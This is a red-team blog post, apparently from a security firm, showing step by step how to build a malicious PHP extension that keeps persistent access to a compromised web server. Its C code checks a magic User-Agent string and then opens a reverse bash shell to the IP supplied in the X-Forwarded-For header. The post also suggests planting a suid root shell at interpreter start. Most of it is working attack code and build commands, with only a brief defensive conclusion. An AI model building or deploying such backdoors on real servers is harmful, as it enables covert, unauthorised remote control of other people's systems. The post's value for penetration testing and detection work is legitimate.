BlackArrow blog header

Backdoors in XAMPP stack (part I): PHP extensions

Web servers exposed to the Internet are a traditional entry point during penetration tests and Red Team exercises. Ensuring the persistence in these perimeter actives is crucial for keeping a pivot in order to penetrate target networks. There are plenty of techniques aimed at achieving persistence. In fact, it is very common to combine them. In this particular occasion, we start a series of posts where we explain how to create backdoors (PHP extensions) in XAMP stack (OS / Apache / MySQL / PHP) and how to use them in your own penetration tests. Let’s start with backdoors in the form of PHP extensions.

Introduction to PHP extensions

PHP extensions are libraries (.so in case of Linux and .dll in Windows) which increase PHP capacity by default. Therefore, they provide the possibility of adding new functions sets that can be invoked from executed PHP scripts. Extensions can be loaded automatically using their definition in the php.ini file with the “extension” directive (extension=”/path/of/your/extension”); or dynamically from the PHP script code that is going to be executed, using the function dl() (although this option is not that common since this function is usually disabled due to security purposes).

Apart from defining new functions for our PHP scripts, extensions are going to enable the possibility of indicating actions to be fulfilled whenever the PHP interpreter is initiated or stopped. As well, this also may happen whenever a PHP script execution is started or ended. This is extremely interesting since it allows the execution of arbitrary code whenever any script is executed after a HTTP request. Therefore, this action is completely transparent and independent from the script. This arbitrary code can be a system()/popen() call or can also initiate a reverse shell.

PHP extensions life time

PHP extensions life time

Please find below the extension-backdoor operation scheme:

  1. Code will be defined. This code will be executed whenever any PHP script execution is initiated.
  2. This code will check the USER-AGENT header in order to look for a magic word.
  3. If USER-AGENT condition is complied, the X-FORWARDED-FOR header IP is read and a reverse shell is sent against.

Obviously, this scheme could differ and hide information in other headers, or use a different and more unnoticeable modus operandi for the reverse shell trigger.

Creating PHP extensions

First of all, a small development environment should be created. For this purpose, the required PHP version from the php.net web should be downloaded. Next, please proceed to compilation:

$ cd php5
  $ ./configure  --with-config-file=/etc
  $ make

In order to prepare our concept test, a small base skeleton and all the required files for configuring and compiling should be generated using the ext_skel utility:

$ cd ext
$ ./ext_skel --extname=backdoor
$ cd backdoor

Among all created files, the backdoor.c file containing the source code of our extension should be highlighted. Inside, different sections could be observed. Please pay special attention to the following ones:

PHP_FUNCTION()

It refers to those functions that will be exported in order to be used from the PHP scripts. Here, the required new functions could be defined.

PHP_MINIT_FUNCTION()

The code registered in this section shall be executed whenever the PHP interpreter is started. Usually, the code herein added shall be executed as root. This way, this is interesting as a means of executing code with privileges and, for example, copying a shell to other path and therefore adding the suid root.

PHP_MSHUTDOWN_FUNCTION()

This code shall be executed before stopping the PHP interpreter.

PHP_RINIT_FUNCTION()

This is the most interesting extension section. This one is going to be executed anytime a PHP script execution startup is carried out. Therefore, we should add here our backdoor logic.

PHP_RSHUTDOWN_FUNCTION()

This code shall be executed at the end of the script execution.

PHP_MINFO_FUNCTION()

This information shall be shown in phpinfo(). In this case, this shall be used as an indicator in order to check if the extension has been loaded correctly.

As a first evidence that everything is correct, the information contained in PHPINFO() shall be edited:

PHP_MINFO_FUNCTION(backdoor)
{
   php_info_print_table_start();
   php_info_print_table_header(2, "PoC Backdoor", "enabled");
   php_info_print_table_end();
}

Besides, the following config.m4 file lines should be uncommented:

  PHP_ARG_ENABLE(backdoor, whether to enable backdoor support,
	 Make sure that the comment is aligned:
	 [  --enable-backdoor           Enable backdoor support])

Then, please proceed to compile our first test:

		$ phpize
		$ ./configure
		$ make

In case no error is registered, the following message should appear as well as a .so file should be found in the modules folder:

Correct compilation of PHP extension

Correct compilation of PHP extension

Finally, php.ini configuration file is edited (/etc/php5/apache2/php.ini) and the following line is added:

extension=/ruta/de/nuestro/archivo/recien/creado.so

Whenever Apache server is restarted and a phpinfo() is executed, the message which had been established in our code should be seen:

PHP Extension installed

PHP Extension installed

Right after, it is confirmed that our skeleton is working properly. Since now, it is time to start working on interesting functionalities. Moreover, one of the most interesting parts should be observing how arriving information headers can be accessed. In order to do this, analyzing how the PHP does it in its own source code would be the best. In “php_variables.c” source code, server variables are registered as follows:

static inline void php_register_server_variables(void)
{
  zval *array_ptr = NULL;

  ALLOC_ZVAL(array_ptr);
  array_init(array_ptr);
  INIT_PZVAL(array_ptr);
  if (PG(http_globals)[TRACK_VARS_SERVER]) {
    zval_ptr_dtor(&PG(http_globals)[TRACK_VARS_SERVER]);
  }
  PG(http_globals)[TRACK_VARS_SERVER] = array_ptr;

  /* Server variables */
  if (sapi_module.register_server_variables) {
    sapi_module.register_server_variables(&PG(http_globals)[TRACK_VARS_SERVER]);
  }

The following step consists on obtaining the required and registered headers value ($_SERVER[‘HTTP_USER_AGENT’] and $_SERVER[‘HTTP_X_FORWARDED_FOR’]), and matching against our password (defined as “MAGICWORD” – in our particular case “ka0labs”).

zval **http_user_agent;    
  zval **http_forwarded;

  if ( zend_hash_exists(HASH_OF(PG(http_globals)[TRACK_VARS_SERVER]), ZEND_STRS("HTTP_USER_AGENT")) ) {
      
      zend_hash_find(HASH_OF(PG(http_globals)[TRACK_VARS_SERVER]), ZEND_STRS("HTTP_USER_AGENT"), (void **)&http_user_agent);


      if ((strcmp(Z_STRVAL_PP(http_user_agent), MAGICWORD) == 0) && (zend_hash_exists(HASH_OF(PG(http_globals)[TRACK_VARS_SERVER]), ZEND_STRS("HTTP_X_FORWARDED_FOR")))) {
      
          zend_hash_find(HASH_OF(PG(http_globals)[TRACK_VARS_SERVER]), ZEND_STRS("HTTP_X_FORWARDED_FOR"), (void **)&http_forwarded);
          php_printf("Password: %snIP: %snn", Z_STRVAL_PP(http_user_agent), Z_STRVAL_PP(http_forwarded));

      }
  }

Then, compilation should be fulfilled again (adding an include to SAPI.H in order to reuse php_variables.c code) as well as verification using curl regarding that indeed headers value has been saved correctly.

PHP extension showing data satisfactorily

PHP extension showing data satisfactorily

Finally, our small concept test is finished adding a simple and typical reverse shell:

 
//  (...)
      int sck; 
        struct sockaddr_in rhost;
        //char *IP = "127.0.0.1"; /* Direccion ip */
        unsigned short PORT = 31337; /* Puerto */
        
        rhost.sin_family = AF_INET; 
        rhost.sin_port = htons(PORT);
        rhost.sin_addr.s_addr = inet_addr(Z_STRVAL_PP(http_forwarded));
        memset(&(rhost.sin_zero), '�', 8);
        
        sck = socket(AF_INET, SOCK_STREAM, 0);
        connect(sck, (struct sockaddr *)&rhost, sizeof(rhost));
     
       if(!fork())
       {

        setsid();
        dup2(sck, 0);
        dup2(sck, 1);
        dup2(sck, 2);        
        dup2(sck, 3);
        dup2(sck, 4);
        dup2(sck, 5);
        execl("/bin/bash", "/bin/bash", NULL); 
        close(sck);

    
        }

A HTTP request using cURL is sent indicating our password and the IP to be connected to the reverse shell:

PHP Extension sending back a reverse shell to the specified IP

PHP Extension sending back a reverse shell to the specified IP

Conclusion

It could be observed how easy could be creating malicious PHP extensions enabling to resume the control of a previously compromised web server. It is crucial to review server configuration files in order to observe this kind of modifications. Also, it is of major importance to check that those extensions which were already installed have not been substituted by other ones using a backdoor.

As previously mentioned at the beginning of this post, web servers exposed to the Internet are a hot spot for attackers, therefore it is necessary to complement a correct hardening with web audits.

Discover our work and cybersecurity services at www.tarlogic.com

More articles in this series about XAMP Backdoors

This article is part of a series of articles about XAMP Backdoors

  1. Backdoors in XAMPP stack (part I): PHP extensions
  2. Backdoors in XAMP stack (part II): UDF in MySQL
  3. Backdoors in XAMP stack (part III): Apache Modules